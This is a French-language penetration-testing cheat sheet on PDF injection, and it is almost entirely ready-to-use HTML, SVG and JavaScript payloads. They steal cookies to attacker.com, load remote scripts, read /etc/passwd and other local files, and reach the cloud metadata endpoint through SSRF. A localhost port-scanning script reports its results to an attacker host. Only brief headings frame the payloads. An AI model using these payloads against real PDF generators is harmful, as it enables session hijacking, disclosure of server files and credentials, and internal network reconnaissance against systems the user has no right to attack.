PDF injection

Si une fonctionnalité vous permet de télécharger un pdf avec du contenu qu'il vous est possible de modifier via des entrées utilisateur, il est parfois possible d'executer des balises HTML pouvant mener à des injections XSS.

Reconnaissance

<h1>S1rN3tZ</h1>
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--En aveugle-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG payloads

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      alert(1);
   // ]]>
  </script>
</svg>

Path disclosure

<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

RXSS

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

LFI

<script>
    x=new XMLHttpRequest;
    x.onload=function(){document.write(btoa(this.responseText))};
    x.open("GET","file:///etc/passwd");x.send();
</script>

<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
</script>

<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>

<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

SSRF - scan de ports

<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

PrécédentXSS SuivantHTMLi

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